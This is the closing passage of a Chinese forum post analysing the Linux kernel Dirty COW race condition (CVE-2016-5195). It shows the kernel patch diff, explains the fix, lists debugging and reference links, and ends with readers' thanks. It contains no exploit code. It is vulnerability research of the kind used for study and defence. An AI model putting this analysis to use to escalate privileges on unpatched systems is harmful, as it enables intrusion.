         }
@@ -412,7 +422,7 @@ static int faultin_page(struct task_struct *tsk, struct vm_area_struct *vma,
          * reCOWed by userspace write).
          */
         if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))
-                *flags &= ~FOLL_WRITE;
+                *flags |= FOLL_COW;
         return 0;
}
```

这样,在竞争时即使释放了页表项,也不会去掉了 `FOLL_WRITE` 标记,而是重新分配页面,保证了内存操作的一致性。

## 漏洞调试

可以参考 (https://bbs.kanxue.com/thread-266033.htm) 或[[原创]用VBoxDbg调试并理解单线程版脏牛(CVE-2016-5195)]( https://bbs.kanxue.com/thread-246024.htm )这两篇文章。

## 参考资料

- (https://fa1lr4in.com/2022/05/10/CVE-2016-5195-dirtycow-linux%E6%9C%AC%E5%9C%B0%E6%8F%90%E6%9D%83%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
- [条件竞争学习 之 DirtyCow分析 (xuanxuanblingbling.github.io)](https://xuanxuanblingbling.github.io/ctf/pwn/2019/11/18/race/)
- (https://atum.li/2016/10/25/dirtycow/)
- (https://vccolombo.github.io/cybersecurity/linux-kernel-qemu-stuck/)
- (https://lists.ubuntu.com/archives/kernel-team/2016-May/077178.html)
- (https://xz.aliyun.com/t/7561)
- (https://github.com/dirtycow/dirtycow.github.io/)
- (http://pwn4.fun/2017/07/14/Dirty-COW%EF%BC%88CVE-2016-5195%EF%BC%89%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/)
- ( https://www.zhihu.com/question/35004859 )
- (https://www.zhihu.com/tardis/zm/art/69329911?source_id=1003)

liangjinwuxin 发表于 2023-8-18 11:15

大佬,以后跟你学技术了。真的学到了

tp206555 发表于 2023-8-19 07:45

学习技术 ,感谢大佬

Penguinbupt 发表于 2023-8-22 12:03

感谢分享,先mark后学

JTZ 发表于 2023-8-23 07:24

收藏收藏, 以后学习会用到的,点赞

beyondchampion 发表于 2023-8-23 08:47

感谢分享!!

daitoudage 发表于 2023-8-23 09:29

感谢大佬{:1_893:}{:1_893:}

ypr2112 发表于 2023-8-23 18:53

以后跟你学技术了。真的学到了

tp206555 发表于 2023-8-24 07:56

学习技术。感谢大佬分享

jffwoo 发表于 2023-8-24 08:57

能原创写这个贴子的,必须点个赞
页: [1] 2
查看完整版本: CVE-2016-5195 Linux 内核条件竞争漏洞研究